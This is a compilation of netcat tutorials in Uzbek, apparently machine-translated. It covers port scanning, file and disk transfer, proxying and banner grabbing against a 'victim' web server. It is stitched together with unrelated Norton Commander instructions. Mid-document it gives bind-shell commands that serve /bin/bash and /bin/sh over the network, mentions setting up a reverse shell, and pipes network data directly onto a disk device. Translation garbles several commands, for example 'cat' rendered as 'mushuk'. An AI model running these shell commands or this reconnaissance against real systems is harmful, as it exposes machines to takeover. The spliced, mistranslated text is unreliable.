Netcat tavsifi. Netcat - foydalanish misollari
Linux tizimi ko'pchilik tarqatishlar operatsion tizim bilan birga juda ko'p foydali buyruq qatori yordam dasturlarini etkazib berishi bilan mashhur. Tajribali tizim ma'murlari qo'shimcha dasturiy ta'minotni o'rnatmasdan o'rnatilgan vositalar yordamida ko'pgina vazifalarni bajarishlari mumkin.
Ushbu qo'llanma yordamchi dasturning ishlashiga bag'ishlangan . Tarmoq vositalarining ushbu "Shveytsariya armiyasi pichog'i" tarmoq ulanishlari orqali ma'lumotlarni kuzatish, sinovdan o'tkazish va uzatish uchun foydali bo'lishi mumkin.
Ushbu qo'llanma Ubuntu 12.04 dan foydalanadi, lekin umuman olganda netcat yordam dasturi deyarli har qanday zamonaviy distribyutorda mavjud. Ubuntu ushbu maqolada foydalaniladigan yordamchi dasturning BSD versiyasi bilan birga keladi. Boshqa versiyalar boshqacha ishlashi yoki turli xil variantlarni taqdim etishi mumkin.
Umumiy sintaksis
Odatiy bo'lib, netcat masofaviy xostga TCP ulanishini ishga tushirish orqali ishlaydi.
Asosiy sintaksis:
netcat [variantlar] xost porti
Ushbu buyruq belgilangan portdagi ko'rsatilgan xostga TCP ulanishini boshlaydi. Asosan, u eski Linux buyrug'i telnetga o'xshash ishlaydi. Shuni yodda tutingki, ulanishingiz shifrlanmagan holda amalga oshiriladi.
TCP ulanishini o'rnatish o'rniga UDP paketini yuborish uchun -u opsiyasidan foydalaning:
netcat -u xost porti
Portlar diapazonini belgilash uchun chiziq bilan ajratilgan diapazonning birinchi va oxirgi portini belgilang:
netcat xost birinchi_port-oxirgi_port
Odatda bu buyruq qo'shimcha bayroqlar bilan ishlatiladi.
Aksariyat tizimlarda siz netcat yoki nc dan foydalanishingiz mumkin. Ular bir-birini almashtiradi, chunki ular bir xil buyruq uchun taxalluslardir.
Foydalanishportni skanerlash uchun
Ko'pincha netcat port skaneri sifatida ishlatiladi.
Netcat, ehtimol, bu vazifani bajarish uchun eng aqlli vosita bo'lmasa-da (nmap ko'p hollarda buning uchun ko'proq mos keladi), u ochiq portlarni tezda aniqlash uchun oddiy portni skanerlashni amalga oshirishi mumkin.
Buni amalga oshirish uchun skanerlash uchun portlar oralig'ini belgilang (yuqorida ko'rsatilgandek), shuningdek ulanishlarni o'rnatish o'rniga skanerlash -z opsiyasidan foydalaning.
Masalan, 1000 portgacha bo'lgan barcha portlarni skanerlash uchun quyidagilarni bajaring:
netcat -z -v domain.com 1-1000
Ko'rib turganingizdek, -z opsiyasiga qo'shimcha ravishda, bu buyruq -v variantidan foydalanadi, buning natijasida netcat batafsil ma'lumotni ko'rsatadi.
Natija quyidagicha ko'rinadi:
nc: domain.com portiga ulanish 1 (tcp) amalga oshmadi: ulanish rad etildi
nc: domain.com 2 portiga ulanish (tcp) muvaffaqiyatsiz tugadi: ulanish rad etildi
nc: domain.com portiga ulanish 3 (tcp) amalga oshmadi: ulanish rad etildi
nc: domain.com portiga ulanish 4 (tcp) amalga oshmadi: ulanish rad etildi
nc: domain.com portiga ulanish 5 (tcp) amalga oshmadi: Ulanish rad etildi
nc: domain.com portiga ulanish 6 (tcp) amalga oshmadi: Ulanish rad etildi
nc: domain.com portiga ulanish 7 (tcp) amalga oshmadi: Ulanish rad etildi
. . .
domain.com 22 portiga ulandi!
. . .
Ko'rib turganingizdek, bu buyruq juda batafsil natija beradi va shuningdek, har bir portni tekshirish muvaffaqiyatli yoki yo'qligini aytadi.
Bu domen nomidan foydalanganda qulay.
Biroq, kerakli IP-manzillarni ko'rsatib, siz skanerlashni sezilarli darajada tezlashtirishingiz mumkin. Keyin IP-manzilni DNS yordamida hal qilmaslik kerakligini ko'rsatish uchun -n bayrog'idan foydalanishingiz mumkin:
netcat -z -n -v 111.111.111.111 1-1000
Qaytish xabarlari standart xatoga yuboriladi. Natijalarni filtrlash uchun standart xato xabarlari standart chiqishga yuborilishi mumkin.
Standart xatoni standart chiqishga yo'naltirish uchun bash sintaksisi 2 dan foydalaning> natijada olingan natijalar grep yordamida filtrlanadi:
netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep muvaffaqiyatga erishdi
111.111.111.111 22 portiga ulanish muvaffaqiyatli amalga oshirildi!
Shunday qilib, endi 1-1000 oralig'idagi masofaviy kompyuterdagi yagona ochiq port 22-port, standart SSH porti ekanligini ko'rishingiz mumkin.
Aloqanetcat yordamida
Netcat buyrug'i TCP va UDP paketlarini yuborish bilan cheklanmaydi. Shuningdek, u ulanishlar va paketlar uchun portni tinglashi mumkin, bu esa mijoz-server munosabatlarida ikkita netcat nusxasini ulash imkonini beradi.
Qaysi kompyuter server va qaysi mijoz ekanligi faqat dastlabki sozlash paytida muhim ahamiyatga ega. Ulanish o'rnatilgandan so'ng, aloqa har ikki yo'nalishda ham bir xil bo'ladi.
Bitta mashinada siz netcat-ga ulanish uchun ma'lum bir portda tinglashni aytishingiz kerak. Bu -l parametri va undan keyin port raqami yordamida amalga oshiriladi:
Ushbu buyruqni ishga tushirish orqali netcat 4444-portda TCP ulanishlarini tinglaydi. Endi oddiy foydalanuvchi (root emas) 1000 dan oldin hech qanday portni ocholmaydi (server xavfsizligi uchun).
Ikkinchi serverda siz ko'rsatilgan port orqali birinchi mashinaga ulanishingiz kerak. Bu yuqorida ko'rsatilgandek amalga oshiriladi:
netcat domain.com 4444
Ulanish o'rnatilgandan so'ng, hech narsa bo'lmagandek tuyulishi mumkin. Ammo endi siz ulanishning har ikki tomoniga xabar yuborishingiz mumkin va ular ikkala serverda ham ko'rinadi.
Xabaringizni kiriting va ENTER tugmasini bosing. Xabar mahalliy va uzoq serverda paydo bo'ladi. Bu ham teskari ishlaydi.
Xabarlarni yuborishni tugatganingizdan so'ng, TCP ulanishini yopish uchun CTRL-D tugmalarini bosing.
Netcat yordamida fayllarni almashish
Yordamchi dasturning asosiy funktsiyalari bilan tanishib, oldingi misollarni to'ldirgandan so'ng, siz murakkabroq vazifalarga o'tishingiz mumkin.
Yuqorida aytib o'tilganidek, netcat yordam dasturi foydalanuvchi tomonidan kiritilgan xabarlar bilan cheklanib qolmasdan, deyarli har qanday ma'lumotni uzatish uchun ishlatilishi mumkin bo'lgan TCP ulanishlarini yaratadi. Ushbu bilim netcatni fayl uzatish dasturiga aylantirish uchun ishlatilishi mumkin.
Shunga qaramay, ulanishlarni tinglash uchun bitta mashinani tanlashingiz kerak. Biroq, ma'lumotni ekranga chop etish o'rniga (oldingi misolda bo'lgani kabi), netcat barcha ma'lumotlarni to'g'ridan-to'g'ri faylga joylashtiradi:
netcat -l 4444 > qabul qilingan_fayl
Ikkinchi kompyuterda siz oddiy matn faylini yaratishingiz kerak:
echo "Salom, bu fayl" > original_file
Endi siz ushbu faylni tinglovchi kompyuterga ulanish uchun kirish sifatida ishlatishingiz mumkin. Fayl xuddi interaktiv tarzda kiritilgandek uzatiladi:
netcat domain.com 4444< original_file
Ko'rib turganingizdek, ulanishni kutayotgan kompyuterda boshqa kompyuterga kiritilgan ma'lumotlarni o'z ichiga olgan "received_file" nomli yangi fayl mavjud:
mushuk qabul qilingan_fayl
Salom, bu fayl
Ko'rib turganingizdek, bunday ulanishlar har qanday turdagi ma'lumotlarni uzatish uchun osongina ishlatilishi mumkin.
Masalan, siz butun katalog tarkibini o'tkazishingiz mumkin; Buning uchun nomsiz tarball yarating, uni masofaviy tizimga o'tkazing va uni masofaviy katalogga oching.
Qabul qiluvchi tomonda siz faylni qabul qilish va ochish kerakligi haqida ogohlantirish uchun quyidagi buyruqdan foydalanishingiz mumkin:
netcat -l 4444 | tar xzvf -
Buyruqning oxiridagi chiziqcha tarball standart kiritishda ishlashini bildiradi, agar ulanish o'rnatilgan bo'lsa, hozirda tarmoq orqali yuboriladi.
O'tkazmoqchi bo'lgan katalogni o'z ichiga olgan tomonda, berilgan katalogni arxivga to'plang va keyin netcat yordamida masofaviy kompyuterga yuboring:
tar -czf - * | netcat domain.com 4444
Bu safar tar buyrug'idagi chiziqcha joriy katalogning mazmuni (* belgisi bilan ko'rsatilgandek) ziplangan va uzatilishi kerak, so'ngra natija standart chiqishga yozilishi kerakligini anglatadi.
Keyin bu TCP ulanishiga yoziladi, ulanishning boshqa tomoniga uzatiladi va masofaviy kompyuterning joriy katalogiga o'chiriladi.
Bu murakkabroq ma'lumotlarni bir kompyuterdan ikkinchisiga o'tkazishning bir misolidir. Bundan tashqari, keng tarqalgan bo'lib dd buyrug'i ishlatiladi, u bir tomondan disk tasvirini yaratadi va uni masofaviy kompyuterga o'tkazadi. Biroq, bunday yondashuv ushbu qo'llanmada ko'rib chiqilmagan.
oddiy veb-server kabi
Netcat yordam dasturi allaqachon xabarlar va fayllarni uzatish uchun ishlatilgan. Xuddi shu yondashuv netcat-dan oddiy veb-server sifatida foydalanishga yordam beradi. Bu tayyor sahifalarni sinab ko'rish uchun foydali bo'lishi mumkin.
Avval bitta serverda HTML fayl yaratishingiz kerak:
Ushbu faylga quyidagi oddiy kodni joylashtirish mumkin:
1-darajali sarlavha
Sarlavha
Bu yerda oddiy matn
Faylni saqlang va yoping.
Ushbu faylga ildiz huquqlarisiz standart veb-server portida (80) xizmat ko'rsatib bo'lmaydi. Chunki oddiy foydalanuvchi sifatida 8888 portini o'rnating.
Bitta sahifani sinab ko'rish va uning qanday ko'rsatilishini ko'rish uchun quyidagini yozing:
netcat -l 8888< index.html
Tarkibni endi brauzerda ko'rish mumkin:
http://server_IP:8888
Ushbu buyruq sahifani chop etadi va keyin netcat ulanishi yopiladi. Sahifani yangilamoqchi bo'lganingizda, u yo'qoladi.
Netcat sahifaga cheksiz xizmat ko'rsatishi mumkin; Buni amalga oshirish uchun siz oxirgi buyruqni qatordan foydalanib tsiklik qilishingiz kerak:
rost bo'lsa; nc -l 8888 ni bajaring< index.html; done
Keyin sahifa birinchi ulanish tugatilgandan keyin ulanishlarni qabul qilishni davom ettiradi.
Loopni to'xtatish uchun CTRL-C tugmalarini kiriting.
Ushbu server sahifaning brauzerda qanday ko'rsatilishini ko'rish imkonini beradi, lekin kengroq funksiyalarni ta'minlamaydi. Hech qachon bunday veb-serverdan haqiqiy saytlarga xizmat ko'rsatish uchun foydalanmang: u xavfsiz emas va havolalar kabi oddiy narsalar har doim ham to'g'ri ishlamaydi.
Natijalar
Ushbu o'quv qo'llanma netcat-ning asosiy xususiyatlari va qo'llanilishi bilan tanishtiradi. Ushbu vosita ko'p qirrali bo'lgani uchun u muammolarni tashxislash va TCP/UDP ulanishlarining asosiy funksiyalarini sinab ko'rish uchun ishlatilishi mumkin.
Bundan tashqari, netcat turli xil kompyuterlar o'rtasida muloqot qilish va ma'lumot almashish imkonini beradi, bu esa foydalanuvchilarning tezkor o'zaro aloqasi uchun juda muhimdir. Ulanishni yaratishni soddalashtirgan holda, netcat yordam dasturi kompyuterlar o'rtasidagi tarmoq shovqinlarini yanada qulayroq, tezroq va tushunarli qilishga harakat qiladi.
Teglar: ,Sinov HTML sahifasini bitta buyruq bilan oddiy brauzerga ega mijozga ko'rsatish (port 8080):
(echo -e "HTTP/1.1 200 OK\nTarkib turi: text/html\n\n Salom dunyo";) | nc -vv -l -p 8080
Bitta buyruq bilan oddiy brauzer bilan mijozga faylni o'tkazish (port 8080):
(echo -e "HTTP/1.1 200\nContent-Disposition: ilova; filename=target-name-that-mijoz-ko'radi\nContent-Type: application/octet-stream\nUlanish: yopish\n"; cat fayl nomi- diskdagi) | nc -vv -l -p 8080
nc dan qanday foydalanish kerak?
(http://handynotes.ru/2010/01/unix-utility-netcat.html )
Keling, bir nechta oddiy misollardan boshlaylik va keyin ularni asosiy misollar sifatida ishlatamiz.
Esingizda bo'lsa, men netcat Shveytsariya armiyasi pichog'i ekanligini aytdim. Agar oddiy pichoq kabi ishlatib bo'lmasa, bu pichoq nima bo'lar edi? Shuning uchun oddiy telnet o'rniga netcat ishlatilishi mumkin:
$nc www.google.com 80
Bu oddiy telnetdan ko'ra qulayroq, chunki siz istalgan vaqtda Ctrl+C tugmalarini bosib ulanishni tugatishingiz mumkin va u ikkilik ma'lumotlarni oddiy deb hisoblaydi (qochish ketma-ketligi yo'q, hech narsa).Harakatlar natijalarini batafsilroq ko'rsatish uchun -v opsiyasini va joriy ulanish seansi davomida qancha bayt o'tkazilganligi haqidagi statistik ma'lumotlarni olish uchun (-vv) opsiyasini qo'shishingiz mumkin.
Netcat server sifatida ishlatilishi mumkin. Agar siz uni quyidagi tarzda ishga tushirsangiz, u 12345-portda tinglaydi (barcha interfeyslarda):
$ nc -l -p 12345
Endi siz ushbu xostning 12345-portiga ulansangiz, siz kiritgan hamma narsa uzoq tomonga yuboriladi, bu bizga netcat-dan chat serveri sifatida foydalanish mumkinligini bildiradi. Kompyuterlardan birida ishga tushirish:# IP 10.10.10.10 bilan A kompyuterida
$ nc -l -p 12345
Va unga boshqasidan ulaning:
# Kompyuterda B
$nc 10.10.10.10 12345
Endi ikkala tomon ham gaplashishi mumkin!
Ikkala tomon bir-biri bilan gaplasha oladigan bu suhbat usuli tarmoq orqali kiritish/chiqarish operatsiyalari uchun nc dan foydalanish imkonini beradi! Masalan, birinchi kompyuterda nc orqali tar quvur liniyasini ishga tushirish, ikkinchisida esa chiqishni boshqa tar jarayoniga yo'naltirish orqali butun katalogni bir kompyuterdan ikkinchisiga yuborishingiz mumkin.
Aytaylik, siz IP 192.168.1.10 bo'lgan A kompyuterining /data katalogidan B kompyuteriga (har qanday IP bilan) fayllarni yubormoqchisiz. Bu oddiy:
$tar -cf - /ma'lumotlar | nc -l -p 6666
# Kompyuterda B
$nc 192.168.1.10 6666 | tar -xf -
O'tkazish qanchalik tez sodir bo'lishi haqidagi statistik ma'lumotlarni ko'rish uchun quvur liniyasini avvalgi maqolada tasvirlangan Pipe Viewer bilan birlashtirishni unutmang!
Bitta fayl oddiyroq yuborilishi mumkin:
# IP 192.168.1.10 bilan A kompyuterida
$ mushuk fayli | nc -l -p 6666
# Kompyuterda B
$nc 192.168.1.10 6666 > fayl
Siz hatto nc yordamida butun diskni nusxalashingiz va tiklashingiz mumkin:
# IP 192.168.1.10 bilan A kompyuterida
$ mushuk /dev/hdb | nc -l -p 6666
# Kompyuterda B
$nc 192.168.1.10 6666 > /dev/hdb
Eslatma: “-l” variantini Mac kompyuterlarida “-p” bilan birgalikda ishlatib bo'lmaydi! Yechim oddiygina “-l -p 6666? ga “-l 6666?. Bu yerdagi kabi:
# now nc Mac kompyuterlari uchun 6666 portni tinglaydi
$nc -l 6666
Netcat-dan keng tarqalgan foydalanish portni skanerlashdir. Netcat bunday ish uchun eng yaxshi vosita emas, lekin u ishni bajaradi (eng yaxshisi, albatta, nmap):
$ nc -v -n -z -w 1 192.168.1.2 1-1000
(Noma'lum) 445 (microsoft-ds) ochiq
(Noma'lum) 139 (netbios-ssn) ochiq
(Noma'lum) 111 (sunrpc) ochiq
(noma'lum) 80 (www) ochiq
(Noma'lum) 25 (smtp): Ulanish vaqti tugadi
(Noma'lum) 22 (ssh) ochiq
-n opsiyasi DNS qidiruvlarini oldini oladi, -z serverdan javob kutmaydi va -w 1? ulanish vaqtini 1 soniyaga o'rnatadi.
Netcat-dan yana bir ahamiyatsiz foydalanish proksi-server sifatida. Port ham, xost ham uzatilishi mumkin. Ushbu misolga qarang:
$ nc -l -p 12345 | nc www.google.com 80
Bu buyruq nc 1234 portida ishlaydi va barcha ulanishlarni google.com:80 ga yo'naltiradi. Agar siz hozir ushbu kompyuterga 12345-port orqali ulansangiz va so'rov yuborsangiz, javoban hech qanday ma'lumot olmasligingizni bilib olasiz. Bu to'g'ri, chunki biz ikki tomonlama kanal o'rnatmaganmiz. Agar siz ikkinchi kanal qo'shsangiz, ma'lumotlaringizni boshqa portda olasiz:
$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346
12345 portiga so'rov yuborganingizdan so'ng, javob ma'lumotlarini 12346 portida oling.
Netcat-ning eng kuchli xususiyati har qanday jarayonni server sifatida ishga tushirishdir:
$ nc -l -p 12345 -e /bin/bash
-e opsiyasi kirish va chiqishni tarmoq rozetkasi orqali qayta yo'naltirishga olib keladi. Endi, agar siz 12345-portdagi xostga ulansangiz, bash-dan foydalanishingiz mumkin:
$nc localhost 12345
ls-las
jami 4288
4 drwxr-xr-x 15 pkrumins foydalanuvchilari 4096 2009-02-17 07:47.
4 drwxr-xr-x 4 pkrumins foydalanuvchilari 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins foydalanuvchisi 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins foydalanuvchisi 220 2009-01-18 21:04 .bash_logout
(http://execbit.ru/2011/05/23/netcat/)
1 Fayllarni uzatish (biz birinchi buyruqni qabul qiluvchi mashinada, ikkinchisini jo'natuvchi mashinada bajaramiz:
$ nc -l 31334 > fayl nomi $ nc 172.16.69.143 31334< filename
$ nc -f /var/log/messages | nc -l 31334 $ nc 172.16.69.143 31334
3 Telnet o'rniga foydalaning (birinchisi telnet serveri, ikkinchisi mijoz):
$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334
4 Ochiq portlarni skanerlang:
$ nc -z execbit.ru 1-1024
Bannerlarga asoslangan 5 barmoq izi xizmatlari:
$ echo "CHIQ" | nc execbit.ru 1-1024
6 Teskari qobiqni tashkil qiling (birinchisi mijoz, ikkinchisi server, lekin qobiq serverdan mijozga ochiladi).
Ishlash bo'yicha ko'rsatmalarNortonKomandir
NC tizimini ishga tushirish uchun DOS buyruq satrida NC buyrug'ini kiriting yoki kompyuter ish stolidagi NC belgisini sichqonchaning chap tugmasi bilan bosing. NC bilan ishlashni tugatish uchun tugmani bosing [ F10] . Ko'rsatilgan dialog oynasida tizimdan chiqsangiz "Ha", aks holda "Yo'q" javobini tanlang. Javob variantini tanlash funktsional klaviaturadagi kursor tugmalari va keyin tugmani bosish orqali amalga oshiriladi [ Kirish] . Ekranning pastki qismida DOS buyruq satri mavjud bo'lib, u erda NC boshqaruvi ostida ishlayotganda tegishli buyruqlarni kiritishingiz mumkin. Ekranning eng pastki satrida NC (va DOS) buyruqlariga mos keladigan asosiy "issiq" tugmachalarning maqsadini ko'rsatadigan maslahat chizig'i mavjud.
NCni ishga tushirgandan so'ng, ekranda ikkita panel paydo bo'ladi - chap va o'ng. Har bir panelning yuqori qismida kichik to'rtburchaklar oyna joriy fayl yoki katalogga to'liq yo'lni ko'rsatadi. Belgilangan to'rtburchak, kursor joylashgan panel faol deyiladi. Paneldan panelga o'tish uchun kalitdan foydalaning . Agar paneldagi yuqori chiziq va tasvir tanlangan bo'lsa “…” bu siz panelning yuqori qismida nom ko'rsatilgan katalogda ekanligingizni bildiradi. Panellar bilan ishlash uchun quyidagi buyruqlardan foydalaniladi:
[ Ctrl] + [ F1] Chap panelni yashirish/ko‘rsatish
[ Ctrl] + [ F2] O‘ng panelni yashirish/ko‘rsatish
[ Ctrl] + [ U] Panellarni almashtirish
[ Ctrl] + [ O] Ikkala panelni yashirish/ko‘rsatish
[ Ctrl] + [ P]Faol boʻlmagan panelni yashirish/koʻrsatish
Mantiqiy disk nomini o'zgartirish uchun chap panelni bosing [ Alt] + [ F1] , paydo bo'lgan dialog oynasida taklif qilingan nomlardan kerakli disk nomini tanlash uchun kursor tugmalaridan foydalaning, tugmani bosing. [ Kirish] . O'ng panel uchun harakatlar o'xshash, lekin boshida siz bosishingiz kerak [ Alt] + [ F2] .
Katalogga o'tish uchun uni faol panelda tanlang va tugmani bosing [ Kirish] . Faol paneldagi yuqori darajadagi katalogga o'tish uchun qatorni tanlang “…” va tugmani bosing [ Kirish] .
Kataloglar bilan ishlash uchun quyidagi buyruqlardan foydalaniladi:
[ F7] – katalog yaratish. Ko'rsatilgan dialog oynasida yangi katalog nomini belgilang;
[ F8] – katalogni o‘chirish. Ko'rsatilgan dialog oynasida Esc tugmasini bosib o'chirishni tasdiqlang yoki o'chirishni bekor qiling.
Fayllar bilan ishlash uchun quyidagi buyruqlardan foydalaniladi:
[ Shift] + [ F4] – fayl yaratish. Ko'rsatilgan dialog oynasida yangi fayl nomini kiriting (kengaytmani ko'rsatishni unutmang). Fayl nomi ko'rsatilgandan so'ng, fayl tarkibini ekranning ish maydoniga kiriting. Buyruq bilan fayl yaratishni yakunlang [ Ctrl] + [ Z]. Faylni saqlash uchun tugmani bosing [ F2] . Tugma yordamida tahrirlash rejimidan chiqing [ F10 ] .
[ F4] – avval yaratilgan hujjatni tahrirlash. Bunday holda, dialog oynasida tahrir qilinadigan fayl nomini ko'rsatishingiz kerak. Tahrirlash rejimida ishlaganda, ekranning pastki qismida tahrirlash rejimida tezkor tugmalarni tayinlash bilan maslahat chizig'i paydo bo'ladi.
[ Shift] + [ F2] – faylni yangi nom bilan saqlang.
[ F3] – fayl tarkibini ko‘rish. Buning uchun avval paneldagi faylni tanlang.
[ F5] – faylni nusxalash. Fayllar va kataloglar bilan barcha operatsiyalar ikkala panel yordamida amalga oshiriladi. Faylni nusxalash uchun faol bo'lmagan panelda ko'chirilgan fayl joylashtiriladigan katalogni o'rnating, ushbu katalogga o'ting. Faol panelda nusxalanadigan faylni tanlang va tugmani bosing [ F5] . Nusxa olishni tasdiqlash uchun tugmani bosing [ Kirish] , bekor qilish - .
[ F6] – faylni uzatish/nomini o‘zgartirish. Operatsiya nusxa ko'chirishga o'xshaydi. Faylni ko'chirish uchun faol bo'lmagan panelda fayl joylashtiriladigan katalogni o'rnating va ushbu katalogga o'ting. Faol panelda ko'chiriladigan faylni tanlang va tugmani bosing [ F6] . Fayl nomini o'zgartirish uchun dialog oynasida belgi orqali qo'shish orqali yangi fayl nomini belgilang ” \ ” yo'lni ko'rsatishda. Ko'chirilgan fayl asl joyidan o'chirilganligini yodda tutish kerak.
[ F9] – menyuga o‘tingNC.
Fayllar ustidagi operatsiyalarni guruhlash
Nusxalash, ko'chirish va o'chirish operatsiyalari bir vaqtning o'zida bir nechta fayllarda bajarilishi mumkin. Buni amalga oshirish uchun siz ularni panelda ajratib ko'rsatish va tugmachani bosib belgilashingiz kerak [ Kiritmoq] . Bunday holda, tanlangan fayllar kontrast rangdagi to'rtburchaklar bilan ta'kidlanadi. Tanlovni olib tashlash uchun ushbu amallarni takrorlang. Fayl tanlash protsedurasidan so'ng fayllar guruhida xuddi bitta kabi kerakli operatsiya (nusxa olish, ko'chirish, o'chirish) amalga oshiriladi. Faylni tanlashning ikkinchi usuli katta kulrang tugmani bosishdir ”+” chapdagi funktsional klaviaturada. Ushbu tugmani bosgandan so'ng, dialog oynasida fayl nomini ko'rsatishingiz yoki nomdagi niqobdan foydalanganda fayl nomlarini ko'rsatishingiz kerak: “ * ”, “ *.* ”, “ ? ”. Fayllarni tanlashni bekor qilish uchun chapdagi funktsional klaviaturadagi “-” tugmasidan foydalaning.
Tizim menyusi NC
Menyu tizimi qobiqni sozlash va operatsiyalarni osonlashtirish uchun mo'ljallangan. Menyu paneli tugmani bosish orqali chaqiriladi [ F9] . Menyu tizimi menyu paneli va ochiladigan menyulardan iborat. Menyuda quyidagi elementlar mavjud: O'ngdagi Fayllar Buyruqlar Sozlamalar Chap . Jamoalar To'g'ri Va Chapga panelda faylni ko'rsatish rejimini tanlashni aniqlang. Chap va o'ng panellar uchun barcha buyruq variantlari bir xil. Jamoa Fayllar fayllar va kataloglar ustida amallarni bajarish uchun mo'ljallangan. Menyu elementi Jamoalar qo'shimcha buyruqlarni bajarish uchun mo'ljallangan. Jamoa Sozlamalar NC muhitini o'rnatish uchun mo'ljallangan. Tegishli buyruqni tanlash kursor tugmalari va keyin bosish yordamida amalga oshiriladi [ Kirish].
Menyu elementi Chap, o'ng).
Ushbu buyruqning ochiladigan menyusida faylni ekranda ko'rsatish formatini tanlash variantlari mavjud. Rejimda Qisqacha Panelda faqat fayl va katalog nomlari ko'rsatiladi. Rejimda Toʻliq Fayl yoki katalog nomi ko'rsatiladi, fayl uchun uning o'lchami, katalog uchun - "pastki katalog" qatori, fayl va katalogning yaratilgan sanasi va vaqti ko'rsatiladi. Rejimda Daraxt Siz joriy diskning kataloglar daraxtini ko'rsatishingiz va kursor yordamida daraxt bo'ylab harakatlanish orqali kerakli faylni tezda topishingiz mumkin. Ushbu menyu elementi uchun variantlarning keyingi guruhi panelda fayllarni ko'rsatish tartibini belgilaydi. Bunday holda, fayllar har qanday tartibda - rejimda joylashtirilishi mumkin Saralash yo'q , lekin ma'lum bir tartibda tartibga solinishi mumkin: Ism - alifbo tartibida nomi bo'yicha; Kengaytma - alifbo tartibida kengaytma bo'yicha, Vaqt - yaratilgan sana bo'yicha, ro'yxat boshida eng so'nggi yaratilgan sanalari bo'lgan fayllar bilan, Hajmi – fayl hajmi bo‘yicha kamayish tartibida. Tegishli rejim qatorini tanlash kursor bilan amalga oshiriladi va bo'sh joydan foydalanib belgilash katagiga belgi qo'yiladi.
Menyu elementi Fayllar .
Ushbu buyruqning ochiladigan menyusida tezkor tugmalarning maqsadi tavsifi mavjud [ F1] - [ F8] , ya'ni. tezkor tugmalar amallari menyu buyruqlari tomonidan takrorlanadi. Keyingi variant - Atributlarni o'rnatish. Atributlar faqat fayllar uchun o'rnatiladi. Atributlarni o'rnatish tartibi quyidagicha: paneldagi kursor bilan faylni tanlang. Shundan so'ng, tugmachani bosing [ F9] NC menyusiga o'ting va elementni tanlang Fayllar O'rnatish atributlar . Tugmachani bosgandan so'ng [ Kirish] Muloqot oynasida mumkin bo'lgan atributlar ro'yxati paydo bo'ladi: Faqat o'qish uchun, Arxiv, Yashirin, Tizim. Fayl atributini tanlash kursor bilan amalga oshiriladi va bo'sh joy yordamida katakchani belgilang. Bunday holda, atributlari bo'lgan fayl Faqat o'qish uchun o'zgartirib bo'lmaydi va faqat ko'rish uchun mavjud. Atributlar fayli Yashirin panelda kichik ta'kidlangan to'rtburchaklar bilan belgilangan (agar ekran sozlamalarida parametr o'rnatilmagan bo'lsa). Yashirin fayllarni ko'rsatish Fayl nomi panelda umuman ko'rsatilmaydi). Keyingi buyruqlar guruhi sizga fayllarni tanlash imkonini beradi (katta kulrang kalitga o'xshash). ”+” ), tanlovni olib tashlang (kalitga o'xshash ” - ” funktsiya klaviaturasida), tanlovni teskari o'zgartirish (o'xshash ” * ” funktsional klaviaturada).
Menyu elementi Jamoalar .
Ushbu buyruqning ochiladigan menyusi foydalanuvchi menyusini yaratish, ushbu menyuni tahrirlash, DOS buyruqlar qatorida kiritilgan buyruqlar tarixini ko'rish va NC qobig'ining boshqa qo'shimcha funktsiyalarini o'z ichiga oladi.
Menyu elementi Sozlamalar.
Ushbu buyruqning ochiladigan menyusi interfeys muhitini foydalanuvchilarga qulay tarzda sozlash imkonini beradi. Variantni o'z ichiga oladi Sozlamalar muharrir va boshqalar. Sozlamalar menyu satrini tanlaganingizda, ekran uchun ranglar to'plamini tanlash, ekrandagi qatorlar sonini belgilash va h.k. imkonini beruvchi dialog oynalari to'plami ochiladi. Dialog oynasi Panel sozlamalari imkon beradi Yashirin fayllarni ko'rsatish, tegishli katakcha belgilansa (yoki ko'rsatilmasa). Tegishli parametr qutilarini belgilash kursor va bo'sh joy yordamida ham amalga oshiriladi.
Laboratoriya topshirig'i
·nc -h
Ko'rib turganingizdek, Netcat-ning asosiy sintaksisi quyidagicha.
Boshqa mashinaga ulanish uchun:
nc variantlari xost IP-manzil porti
kiruvchi ulanishlarni tinglash uchun:
nc -l -p porti
2-qadam: Masofaviy tizimga ulanish uchun Netcat-dan foydalaning
Masofaviy tizimga ulanish uchun Netcat-dan foydalanamiz. Bizning holatda biz veb-serverga 80-port orqali ulanishga harakat qilamiz. Yozing:
·nc 192.168.1.105 80
3-qadam: OS barmoq izi bannerini olish uchun Netcat-dan foydalaning
Internetga TCP ulanishiga ega bo'lganimizdan so'ng, qurbonning veb-serverida qanday dasturiy ta'minot ishlayotganini aniqlash uchun veb-server bannerini olish uchun Netcat-dan foydalanishimiz mumkin.
Esda tutingki, har qanday tizimga hujum qilishdan oldin, qurbon haqida iloji boricha ko'proq ma'lumot olishimiz kerak. Netcat veb-serverlar yangi ulanishlar uchun xizmat qiladigan bannerlarni suratga olish orqali bizga bu vazifani bajarishda yordam berishi mumkin.
Endi bizda ulanish mavjud, biz buyruq yordamida veb-serverdan bannerni olishimiz mumkin:
HEAD / HTTP/1.0
Ehtiyot bo'ling va muallif kiritganidek, oldinga qiyshiq chiziqlar va bo'shliqlar bilan nusxa oling.
Enter tugmasini bir necha marta bosing va veb-server o'z banneri bilan javob beradi va u qanday dastur ishlayotganini aytadi. Bizning holatimizda veb-serverda Microsoft IIS 6.0 ishlayotganligini ko'rishimiz mumkin.
Biz bu usuldan boshqa ochiq veb-saytlarda ham foydalanishimiz mumkin. Keling, ba'zi taniqli saytlarni sinab ko'raylik va ularning veb-serverlarida qanday dasturlardan foydalanishlarini ko'rib chiqamiz. Birinchidan, wonderhowto.com saytini sinab ko'raylik. Wonderhowto.com saytiga ping yuborganimizda IP manzili 98.129.110.26 ekanligini ko'ramiz. Shunday qilib, siz quyidagilarni kiritishingiz mumkin:
·nc 98.129.110.26 80
Ulanish mavjud bo'lganda, biz yana yozish orqali veb-bannerni olishimiz mumkin:
HEAD / HTTP/1.0
Keyin Enter tugmasini ikki yoki uch marta bosing.
Ko'rib turganingizdek, wonderhowto.com Microsoft-IIS/7.5 da ishlaydi.
Agar biz cnn.com bilan xuddi shunday harakat qilsak, quyidagi natijalarga erishamiz:
Qizig'i shundaki, cnn.com nginx, ochiq kodli veb-serverda ishlaydi, u juda qisqa vaqt ichida Microsoft IIS o'rnatishlarining umumiy soniga yetdi (Apache-dan sayyoramizdagi veb-serverlarning 60% dan ortig'i foydalanishda davom etmoqda). .
4-qadam: Ulanishlarni tinglash uchun Netcat-dan foydalaning
